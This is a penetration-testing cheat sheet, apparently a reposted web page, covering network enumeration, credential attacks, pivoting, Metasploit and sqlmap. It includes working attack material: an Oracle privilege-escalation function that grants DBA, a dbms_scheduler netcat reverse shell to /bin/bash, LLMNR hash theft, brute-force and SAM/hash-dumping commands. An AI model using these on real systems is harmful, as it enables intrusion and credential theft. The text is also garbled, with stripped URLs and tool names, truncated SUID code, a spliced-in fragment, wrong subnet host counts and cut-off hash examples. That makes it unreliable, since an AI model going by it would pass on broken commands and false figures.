This is a quick reference high level overview for typical penetration testing engagements. Designed as a quick reference cheat sheet providing a high level overview of the typical commands you would run when performing a penetration test. For more in depth information I’d recommend the man file for the tool or a more specific pen testing cheat sheet from the menu on the right.

The focus of this cheat sheet is infrastructure / network penetration testing, web application penetration testing is not covered here apart from a few sqlmap commands at the end and some web server enumeration. For Web Application Penetration Testing, check out the Web Application Hackers Hand Book, it is excellent for both learning and reference.

this was brought to you by john poli modica
find his site here


Network Configuration:

Set IP Address.
ifconfig eth0




Passive Information Gathering:


WHOIS enumeration.

Perform DNS IP Lookup.
dig a @nameserver

Perform MX Record Lookup.
dig mx @nameserver

Perform Zone Transfer with DIG.
dig axfr @nameserver

DNS Zone Transfers:

Windows DNS zone transfer.
nslookup -> set type=any -> ls -d

Linux DNS zone transfer.
dig axfr


Simply Email:
Use Simply Email to enumerate all the online places (github, target site etc), it works better if you use proxies or set long throttle times so google doesn’t think you’re a robot and make you fill out a Captcha.

git clone
./ -all -e TARGET-DOMAIN

Simply Email can verify the discovered email addresss after gathering.

Semi Active Information Gathering:

Basic Finger Printing:
Manual finger printing / banner grabbing.


Basic versioning / finger printing via displayed banner
nc -v 25
telnet 25

Banner grabbing with NC.
GET / HTTP/1.1
User-Agent: Mozilla/5.0
Referrer: meh-domain

Active Information Gathering

DNS Bruteforce:


DNS Enumeration Kali – DNSRecon:

root:# dnsrecon -d TARGET -D /usr/share/wordlists/dnsmap.txt -t std –xml ouput.xml

Port Scanning:

Nmap Commands:
For more commands, see the Nmap cheat sheet in another post.

Basic Nmap Commands:

Nmap verbose scan, runs syn stealth, T4 timing (should be ok on LAN), OS and service version info, traceroute and scripts against services.
nmap -v -sS -A -T4 target

As above but scans all TCP ports (takes a lot longer).
nmap -v -sS -p–A -T4 target

As above but scans all TCP ports and UDP scan (takes even longer).
nmap -v -sU -sS -p- -A -T4 target

Nmap script to scan for vulnerable SMB servers – WARNING: unsafe=1 may cause knockover.
nmap -v -p 445 –script=smb-check-vulns
–script-args=unsafe=1 192.168.1.X

Search nmap scripts for keywords.
ls /usr/share/nmap/scripts/* | grep ftp

I’ve had a few people mention about T4 scans, apply common sense here. Don’t use T4 commands on external pen tests (when using an Internet connection), you’re probably better off using a T2 with a TCP connect scan. A T4 scan would likely be better suited for an internal pen test, over low latency links with plenty of bandwidth. But it all depends on the target devices, embeded devices are going to struggle if you T4 / T5 them and give inconclusive results. As a general rule of thumb, scan as slowly as you can, or do a fast scan for the top 1000 so you can start pen testing then kick off a slower scan.

Nmap UDP Scanning:
nmap -sU TARGET

UDP Protocol Scanner:
git clone

Scan a file of IP addresses for all services:
./ -f ip.txt

Scan for a specific UDP service: -p ntp -f ips.txt

Other Host Discovery
Other methods of host discovery, that don’t use nmap…

Discovers IP, MAC Address and MAC vendor on the subnet from ARP, helpful for confirming you’re on the right VLAN at $client site.
netdiscover -r

Enumeration & Attacking Network Services:
Penetration testing tools that spefically identify and / or enumerate network services:

SAMB / SMB / Windows Domain Enumeration:

Samba Enumeration:

SMB Enumeration Tools:
nmblookup -A target
smbclient //MOUNT/share -I target -N
rpcclient -U “” target
enum4linux target

Also see, nbtscan cheat sheet in another post.

Discover Windows / Samba servers on subnet, finds Windows MAC addresses, netbios name and discover client workgroup / domain.

Do Everything, runs all options (find windows client domain / workgroup) apart from dictionary based share name guessing.
enum4linux -a target-ip

Fingerprint SMB Version:
smbclient -L //

Find open SMB Shares:
nmap -T4 -v -oA shares –script smb-enum-shares –script-args smbuser=username,smbpass=password -p445

Enumerate SMB Users:
nmap -sU -sS –script=smb-enum-users -p U:137,T:139

python /usr/share/doc/python-impacket-doc/examples
/ 192.168.XXX.XXX

RID Cycling: 192.168.XXX.XXX 500 50000 dict.txt

Metasploit module for RID cycling:
use auxiliary/scanner/smb/smb_lookupsid

Manual Null session testing:
net use \TARGETIPC$ “” /u:””

smbclient -L //

NBTScan unixwiz
Install on Kali rolling:

apt-get install nbtscan-unixwiz
nbtscan-unixwiz -f > nbtscan

LLMNR / NBT-NS Spoofing:
Steal credentials off the network.

Metasploit LLMNR / NetBIOS requests
Spoof / poison LLMNR / NetBIOS requests:

Capture the hashes:


You’ll end up with NTLMv2 hash, use john or hashcat to crack it.
Alternatively you can use responder.

git clone
python -i local-ip -I eth0

Run for the whole engagement
Run for the length of the engagement while you’re working on other attack vectors.

SNMP Enumeration Tools:
A number of SNMP enumeration tools.

Fix SNMP output values so they are human readable:

apt-get install snmp-mibs-downloader download-mibs
echo “” > /etc/snmp/snmp.conf

SNMP enumeration.
snmpcheck -t 192.168.1.X -c public

snmpwalk -c public -v1 192.168.1.X 1|
grep hrSWRunName|cut -d* * -f

snmpenum -t 192.168.1.X

onesixtyone -c names -i hosts

SNMPv3 Enumeration Tools
Idenitfy SNMPv3 servers with nmap:
nmap -sV -p 161 –script=snmp-info TARGET-SUBNET

Rory McCune’s snmpwalk wrapper script helps automate the
username enumeration process for SNMPv3:

apt-get install snmp snmp-mibs-downloader

*Use Metasploits Wordlist
Metasploit’s wordlist (KALI path below) has common credentials for v1 & 2 of SNMP, for newer credentials check out Daniel Miessler’s SecLists project on GitHub (not the mailing list!).


R Services Enumeration:
This is legacy, included for completeness.

nmap -A will perform all the rservices enumeration listed below, this section has been added for completeness or manual confirmation:

RSH Enumeration
RSH Run Commands:

Metasploit RSH Login Scanner:

rusers Show Logged in Users:
rusers -al

rusers scan whole Subnet:
rlogin -l

e.g rlogin -l root TARGET-SUBNET/24

Finger Enumeration:
finger @TARGET-IP

Finger a Specific Username:
finger batman@TARGET-IP

Solaris bug that shows all logged in users:
finger 0@host

SunOS: RPC services allow user enum:
$ rusers # users logged onto LAN

finger ‘a b c d e f g h’@sunhost

Use nmap to identify machines running rwhod (513 UDP).

TLS & SSL Testing:

Test all the things on a single host and output to a .html file:

./ -e -E -f -p -y -Y -S -P -c -H -U TARGET-HOST | aha > OUTPUT-FILE.html

Vulnerability Assessment:
Install OpenVAS 8 on Kali Rolling:

apt-get update
apt-get dist-upgrade -y
apt-get install openvas

Verify openvas is running using:
netstat -tulpn

Login at – credentials are generated during openvas-setup.

Database Penetration Testing:
Attacking database servers exposed on the network.

Install oscanner:
apt-get install oscanner

Run oscanner:
oscanner -s -P 1521

Fingerprint Oracle TNS Version:

Install tnscmd10g:
apt-get install tnscmd10g

Fingerprint oracle tns:
tnscmd10g version -h TARGET
nmap –script=oracle-tns-version

Brute force oracle user accounts
Identify default Oracle accounts:
nmap –script=oracle-sid-brute
nmap –script=oracle-brute

Run nmap scripts against Oracle TNS:
nmap -p 1521 -A TARGET

Oracle Privilege Escalation:

-Oracle needs to be exposed on the network
-A default account is in use like scott

Quick overview of how this works:

1 Create the function

2 Create an index on table SYS.DUAL

3 The index we just created executes our function SCOTT.DBA_X

4 The function will be executed by SYS user (as that’s the user that owns the table).
5 Create an account with DBA priveleges

In the example below the user SCOTT is used but this should be possible with another default Oracle account.

Identify default accounts within oracle db using NMAP NSE scripts:
nmap –script=oracle-sid-brute
nmap –script=oracle-brute

Login using the identified weak account (assuming you find one).

How to identify the current privilege level for an oracle user:
SQL> select * from session_privs;

SQL> CREATE OR REPLACE FUNCTION GETDBA(FOO varchar) return varchar deterministic authid
curren_user is
pragma autonomous_transaction;
execute immediate ‘grant dba to user1 identified by pass1’;
return ‘FOO’;

Oracle priv esc and obtain DBA access:
Run netcat:
netcat -nvlp 443code>

SQL> create index exploit_1337 on SYS.DUAL(SCOTT.GETDBA(‘BAR’));
Run the exploit with a select query:
SQL> Select * from session_privs;
You should have a DBA user with creds user1 and pass1.

Verify you have DBA privileges by re-running the first command again.

Remove the exploit using:
drop index exploit_1337;

Get Oracle Reverse os-shell:
dbms_scheduler.create_job( job_name => ‘MEH1337’,job_type =>
‘EXECUTABLE’,job_action => ‘/bin/nc’,number_of_arguments => 4,start_date =>
SYSTIMESTAMP,enabled => FALSE,auto_drop => TRUE);
dbms_scheduler.set_job_argument_value(‘rev_shell’, 1, ‘TARGET-IP’);
dbms_scheduler.set_job_argument_value(‘rev_shell’, 2, ‘443’);
dbms_scheduler.set_job_argument_value(‘rev_shell’, 3, ‘-e’);
dbms_scheduler.set_job_argument_value(‘rev_shell’, 4, ‘/bin/bash’);

Enumeration / Discovery:

nmap -sU –script=ms-sql-info

msf > use auxiliary/scanner/mssql/mssql_ping

*Use MS SQL Servers Browse For More:
Try using “Browse for More” via MS SQL Server Management Studio.

Bruteforce MSSQL Login:
msf > use auxiliary/admin/mssql/mssql_enum

Metasploit MSSQL Shell:
msf > use exploit/windows/mssql/mssql_payload
msf exploit(mssql_payload) > set PAYLOAD windows/meterpreter/reverse_tcp

Plink.exe Tunnel:
PuTTY Link tunnel

Forward remote port to local address:

plink.exe -P 22 -l root -pw “1337” -R 445: REMOTE-IP


SSH Pivoting:
ssh -D -p 22 user@pivot-target-ip

Add socks4 1010 in /etc/proxychains.conf

SSH pivoting from one network to another:

ssh -D -p 22 user1@ip-address-1

Add socks4 1010 in /etc/proxychains.conf

proxychains ssh -D -p 22 user1@ip-address-2

Add socks4 1011 in /etc/proxychains.conf

Meterpreter Pivoting:
TTL Finger Printing:
Windows 128

Linux 64

Solaris 255

Cisco / Network 255

IPv4 Cheat Sheets:
Classful IP Ranges:
E.g Class A,B,C (depreciated)

Class A IP Address Range –
Class B IP Address Range –
Class C IP Address Range –
Class D IP Address Range –
Class E IP Address Range –

IPv4 Private Address Ranges:
Class A Private Address Range –
Class B Private Address Range –
Class C Private Address Range – –

IPv4 Subnet Cheat Sheet:
Subnet cheat sheet, not really realted to pen testing but a useful reference.

/31 1 Host
/30 2 Hosts
/29 6 Hosts
/28 4 Hosts
/27 30 Hosts
/26 62 Hosts
/25 126 Hosts
/24 254 Hosts
/23 512 Host
/22 1022 Hosts
/21 2046 Hosts
/20 4094 Hosts
/19 8190 Hosts
/18 16382 Hosts
/17 32766 Hosts
/16 65534 Hosts
/15 131070 Hosts
/14 262142 Hosts
/13 524286 Hosts
/12 1048674 Hosts
/11 2097150 Hosts
/10 4194302 Hosts
/9 8388606 Hosts
/8 16777214 Hosts

VLAN Hopping:
Using NCCGroups VLAN wrapper script for Yersina simplifies the process.

git clone
chmod 700

VPN Pentesting Tools:
Identify VPN servers:
./ -p ike TARGET(s)

Scan a range for VPN servers:
./ -p ike -f ip.txt

Use IKEForce to enumerate or dictionary attack VPN servers.

pip install pyip
git clone

Perform IKE VPN enumeration with IKEForce:
./ TARGET-IP –e –w wordlists/groupnames.dic

Bruteforce IKE VPN using IKEForce:
./ TARGET-IP -b -i groupid -u dan -k psk123 -w passwords.txt -s 1
ike-scan TARGET-IP
ike-scan -A TARGET-IP
ike-scan -A TARGET-IP –id=myid -P TARGET-IP-key

IKE Aggressive Mode PSK Cracking:
1 Identify VPN Servers
2 Enumerate with IKEForce to obtain the group ID
3 Use ike-scan to capture the PSK hash from the IKE endpoint
4 Use psk-crack to crack the hash

Step 1: Idenitfy IKE Servers
./ -p ike SUBNET/24

Step 2: Enumerate group name with IKEForce
./ TARGET-IP –e –w wordlists/groupnames.dic

Step 3: Use ike-scan to capture the PSK hash
ike-scan –M –A –n example_group -P hash-file.txt TARGET-IP

Step 4: Use psk-crack to crack the PSK hash
psk-crack hash-file.txt

Some more advanced psk-crack options below:

psk-crack -b 5 TARGET-IPkey
psk-crack -b 5 –charset=”01233456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz” 192-168-207-134key
psk-crack -d /path/to/dictionary-file TARGET-IP-key

PPTP Hacking:
Identifying PPTP, it listens on TCP: 1723

NMAP PPTP Fingerprint:
nmap –Pn -sV -p 1723 TARGET(S)

PPTP Dictionary Attack:
thc-pptp-bruter -u hansolo -W -w /usr/share/wordlists/nmap.lst

DNS Tunneling:
Tunneling data over DNS to bypass firewalls.

dnscat2 supports “download” and “upload” commands for getting files (data and programs) to and from the target machine.

Attacking Machine:

apt-get update
apt-get -y install ruby-dev git make g++
gem install bundler
git clone
cd dnscat2/server
bundle install

Run dnscat2:
ruby ./dnscat2.rb
dnscat2> New session established: 1422
dnscat2> session -i 1422

Target Machine:

dnscat –host

BOF / Exploit:
Exploit Research:
Find exploits for enumerated hosts / services.

Search exploit-db for exploit, in this example windows 2003 + local esc.
searchsploit windows 2003 | grep -i local

Use google to search for exploits exploit kernel 80, :DocumentRoot => Dir.pwd).start”

Run a basic PHP http server
php -S

Mounting File Shares:
How to mount NFS / CIFS, Windows and Linux file shares.

Mount NFS share to /mnt/nfs.
mount /mnt/nfs

Mount Windows CIFS / SMB share on Linux at /mnt/cifs if you remove password it will prompt on the CLI (more secure as it wont end up in bash_history).
mount -t cifs -o username=user,password=pass
,domain=blah //192.168.1.X/share-name /mnt/cifs

Mount a Windows share on Windows from the command line.
net use Z: \win-servershare password
/user:domainjanedoe /savecred /p:no

apt-get install smb4k -y

Install smb4k on Kali, useful Linux GUI for browsing SMB shares.

HTTP / HTTPS Webserver Enumeration:
Perform a nikto scan against target.
nikto -h

Configure via GUI, CLI input doesn’t work most of the time.

Packet Inspection:
tcpdump for port 80 on interface eth0, outputs to output.pcap
tcpdump tcp port 80 -w output.pcap -i eth0

Username Enumeration:
Some techniques used to remotely enumerate users on a target system.

SMB User Enumeration:
Enumerate users from SMB.
python /usr/share/doc/python-impacket-doc/examples
/ 192.168.XXX.XXX

RID cycle SMB / enumerate users from SMB. 192.168.XXX.XXX 500 50000 dict.txt

SNMP User Enumeration:
Enmerate users from SNMP.
snmpwalk public -v1 192.168.X.XXX 1 |grep
|cut -d” “ -f4

Enmerate users from SNMP.
python /usr/share/doc/python-impacket-doc/examples/ SNMP 192.168.X.XXX

Search for SNMP servers with nmap, grepable output.
nmap -sT -p 161 192.168.X.XXX/254 -oG snmp_results.txt
(then grep)

Kali worlists.

Brute Forcing Services:
Hydra FTP Brute Force.
Hydra FTP brute force.
hydra -l USERNAME -P /usr/share/wordlistsnmap.lst -f
192.168.X.XXX ftp -V

Hydra POP3 Brute Force:
Hydra POP3 brute force.
hydra -l USERNAME -P /usr/share/wordlistsnmap.lst -f
192.168.X.XXX pop3 -V

Hydra SMTP Brute Force:
Hydra SMTP brute force.
hydra -P /usr/share/wordlistsnmap.lst 192.168.X.XXX smtp -V

Use -t to limit concurrent connections, example: -t 15

Password Cracking:
Password cracking penetration testing tools.

John The Ripper – JTR:
JTR password cracking.
john –wordlist=/usr/share/wordlists/rockyou.txt hashes

JTR forced descrypt cracking with wordlist.
john –format=descrypt –wordlist
/usr/share/wordlists/rockyou.txt hash.txt

JTR forced descrypt brute force cracking.
john –format=descrypt hash –show

Windows Penetration Testing Commands:
See Windows Penetration Testing Commands.

Linux Penetration Testing Commands
See Linux Commands Cheat Sheet in another post for a list of Linux Penetration testing commands, useful for local system enumeration.

Compiling Exploits
Some notes on compiling exploits.

Identifying if C code is for Windows or Linux:
C #includes will indicate which OS should be used to build the exploit.

Windows exploit code.
process.h, string.h, winbase.h, windows.h, winsock2.h

Linux exploit code.
arpa/inet.h, fcntl.h, netdb.h, netinet/in.h,
sys/sockt.h, sys/types.h, unistd.h

Build Exploit GCC:
Compile exploit gcc.

Basic GCC compile.
gcc -o exploit exploit.c

GCC Compile 32Bit Exploit on 64Bit Kali:
Handy for cross compiling 32 bit binaries on 64 bit attacking machines.

Cross compile 32 bit binary on 64 bit Linux
gcc -m32 exploit.c -o exploit

Compile Windows .exe on Linux:
Build / compile windows exploits on Linux, resulting in a .exe file.

Compile windows .exe on Linux
i586-mingw32msvc-gcc exploit.c -lws2_32 -o exploit.exe

SUID Binary:
Often SUID C binary files are required to spawn a shell as a superuser, you can update the UID / GID and shell as required.

below are some quick copy and pate examples for various shells:

SUID C Shell for /bin/bash:

int main(void){
setresuid(0, 0, 0);

SUID C Shell for /bin/sh:
int main(void){
setresuid(0, 0, 0);

Building the SUID Shell binary:
gcc -o suid suid.c

For 32 bit:
gcc -m32 -o suid suid.c

Reverse Shells:
See Reverse Shell Cheat Sheet in another posts for a list of useful Reverse Shells.

TTY Shells:
Tips / Tricks to spawn a TTY shell from a limited shell in Linux, useful for running commands like su from reverse shells.

Python TTY Shell Trick:
python -c ‘import pty;pty.spawn(“/bin/bash”)’
echo os.system(‘/bin/bash’)

Spawn Interactive sh shell:
/bin/sh -i

Spawn Perl TTY Shell:
exec “/bin/sh”;
perl —e ‘exec “/bin/sh”;’

Spawn Ruby TTY Shell:
exec “/bin/sh”

Spawn Lua TTY Shell:

Spawn TTY Shell from Vi:
Run shell commands from vi:

Spawn TTY Shell NMAP:

Metasploit Cheat Sheet:
A basic metasploit cheat sheet that I have found handy for reference.

Basic Metasploit commands, useful for reference, for pivoting see – Meterpreter Pivoting techniques.

Meterpreter Payloads:
Windows reverse meterpreter payload:
Windows reverse tcp payload.
set payload windows/meterpreter/reverse_tcp

Windows VNC Meterpreter payload:
Meterpreter Windows VNC Payload.
set payload windows/vncinject/reverse_tcp
set ViewOnly false

Linux Reverse Meterpreter payload:
Meterpreter Linux Reverse Payload.
set payload linux/meterpreter/reverse_tcp

Meterpreter Cheat Sheet:
Useful meterpreter commands.

Meterpreter upload file to Windows target.
upload file c:\windows

Meterpreter download file from Windows target.
download c:\windows\repair\sam /tmp

Meterpreter download file from Windows target.
download c:\windows\repair\sam /tmp

Meterpreter run .exe on target – handy for executing uploaded exploits.
execute -f c:\windowstempexploit.exe

Creates new channel with cmd shell.
execute -f cmd -c

Meterpreter show processes.

Meterpreter get shell on the target.

Meterpreter attempts priviledge escalation the target.

Meterpreter attempts to dump the hashes on the target.

Meterpreter create port forward to target machine.
portfwd add –l 3389 –p 3389 –r target

Meterpreter delete port forward.
portfwd delete –l 3389 –p 3389 –r target

Common Metasploit Modules:
Top metasploit modules.

Remote Windows Metasploit Modules (exploits)
MS08_067 Windows 2k, XP, 2003 Remote Exploit.
use exploit/windows/smb/ms08_067_netapi

MS08_040 Windows NT, 2k, XP, 2003 Remote Exploit.
use exploit/windows/dcerpc/ms06_040_netapi

MS09_050 Windows Vista SP1/SP2 and Server 2008 (x86) Remote Exploit.
use exploit/windows/smb/ms09_050_smb2_negotiate_func_index

Local Windows Metasploit Modules (exploits):
Bypass UAC on Windows 7 + Set target + arch, x86/64
use exploit/windows/local/bypassuac

Auxilary Metasploit Modules:
Metasploit HTTP directory scanner.
use auxiliary/scanner/http/dir_scanner

Metasploit JBOSS vulnerability scanner.
use auxiliary/scanner/http/jboss_vulnscan

Metasploit MSSQL Credential Scanner.
use auxiliary/scanner/mssql/mssql_login

Metasploit MSSQL Version Scanner.
use auxiliary/scanner/mysql/mysql_version

Metasploit Oracle Login Module.
use auxiliary/scanner/oracle/oracle_login

Metasploit Powershell Modules:
Metasploit powershell payload delivery module.
use exploit/multi/script/web_delivery

Metasploit upload and run powershell script through a session.

Metasploit JBOSS deploy.
use exploit/multi/http/jboss_maindeployer

Metasploit MSSQL payload.
use exploit/windows/mssql/mssql_payload

Post Exploit Windows Metasploit Modules:
Windows Metasploit Modules for privilege escalation.

Metasploit show privileges of current user.
run post/windows/gather/win_privs

Metasploit grab GPP saved passwords.
use post/windows/gather/credentials/gpp

Metasplit load Mimikatz.
load mimikatz -> wdigest

Identify other machines that the supplied domain user has administrative access to.
run post/windows/gather/local_admin_search_enum

Automated dumping of sam file, tries to esc privileges etc.
run post/windows/gather/smart_hashdump

ASCII Table Cheat Sheet:
Useful for Web Application Penetration Testing, or if you get stranded on Mars and need to communicate with NASA.

x00 Null Byte

x08 BS

x09 TAB

x0a LF

x0d CR

x1b ESC

x20 SPC

x21 !

x22 ”

x23 #

x24 $

x25 %

x26 &

x27 `

x28 (

x29 )

x2a *

x2b +

x2c ,

x2d –

x2e .

x2f /

x30 0

x31 1

x32 2

x33 3

x34 4

x35 5

x36 6

x37 7

x38 8

x39 9

x3a :

x3b ;


x3f ?

x40 @

x41 A

x42 B

x43 C

x44 D

x45 E

x46 F

x47 G

x48 H

x49 I

x4a J

x4b K

x4c L

x4d M

x4e N

x4f O

x50 P

x51 Q

x52 R

x53 S

x54 T

x55 U

x56 V

x57 W

x58 X

x59 Y

x5a Z

x5b [


x5d ]

x5e ^

x5f _

x60 `

x61 a

x62 b

x63 c

x64 d

x65 e

x66 f

x67 g

x68 h

x69 i

x6a j

x6b k

x6c l

x6d m

x6e n

x6f o

x70 p

x71 q

x72 r

x73 s

x74 t

x75 u

x76 v

x77 w

x78 x

x79 y

x7a z

CISCO IOS Commands:
A collection of useful Cisco IOS commands.

Enters enable mode.

Short for, configure terminal.
conf t

Configure FastEthernet 0/0.
(config)# interface fa0/0

Add ip to fa0/0.
(config-if)# ip addr

Configure vty line.
(config-if)# line vty 0 4

Cisco set telnet password.
(config-line)# login

Set telnet password
(config-line)# password YOUR-PASSWORD

Show running config loaded in memory.
# show running-config

Show startup config.
# show startup-config

show cisco IOS version.
# show version

display open sessions.
# show session

Show network interfaces.
# show ip interface

Show detailed interface info.
# show interface e0

Show routes.
# show ip route

Show access-lists.
# show access-lists

Show available files.
# dir file systems

File information.
# dir all-filesystems

SHow deleted files.
# dir /all

No limit on terminal output.
# terminal length 0

Copies running config to tftp server.
# copy running-config tftp

Copy startup-config to running-config.
# copy running-config startup-config

Hash Lengths:
MD5 Hash Length 16 Bytes

SHA-1 Hash Length 20 Bytes

SHA-256 Hash Length 32 Bytes

SHA-512 Hash Length 64 Bytes

Hash Examples:
Likely just use hash-identifier for this but here are some example hashes:

MD5 Hash Example 8743b52063cd84097a65d1633f5c74f5

MD5 $PASS:$SALT Example 01dfae6e5d4d90d9892622325959afbe:7050461

MD5 $SALT:$PASS f0fda58630310a6dd91a7d8f0a4ceda2:4225637426

SHA1 Hash Example b89eaac7e61417341b710b727768294d0e6a277b

SHA1 $PASS:$SALT 2fc5a684737ce1bf7b3b239df432416e0dd07357:2014

SHA1 $SALT:$PASS cac35ec206d868b7d7cb0b55f31d9425b075082b:5363620024

SHA-256 127e6fbfe24a750e72930c220a8e138275656b

SHA-256 $PASS:$SALT c73d08de890479518ed60cf670d17faa26a4a7

SHA-256 $SALT:$PASS eb368a2dfd38b405f014118c7d9747fcc97f4

SHA-512 82a9dda829eb7f8ffe9fbe49e45d47d2dad9

SHA-512 $PASS:$SALT e5c3ede3e49fb86592fb03f471c35ba13e8

SHA-512 $SALT:$PASS 976b451818634a1e2acba682da3fd6ef

NTLM Hash Example b4b9b02e6f09a9bd760f388b67351e2b

SQLMap Examples:
A mini SQLMap cheat sheet:

Automated sqlmap scan.
sqlmap -u –forms –batch –crawl=10 –cookie=jsessionid=54321 –level=5 –risk=3

Targeted sqlmap scan.
sqlmap -u TARGET -p PARAM –data=POSTDATA –cookie=COOKIE –level=3 –current-user –current-db –passwords –file-read=”/var/www/blah.php”

Scan url for union + error based injection with mysql backend and use a random user agent + database dump.
sqlmap -u “” –dbms=mysql –tech=U –random-agent –dump

sqlmap check form for injection.
sqlmap -o -u “” –forms

sqlmap dump and crack hashes for table users on database-name.
sqlmap -o -u “http://meh/vuln-form” –forms -D database-name -T users –dump

Leave a Reply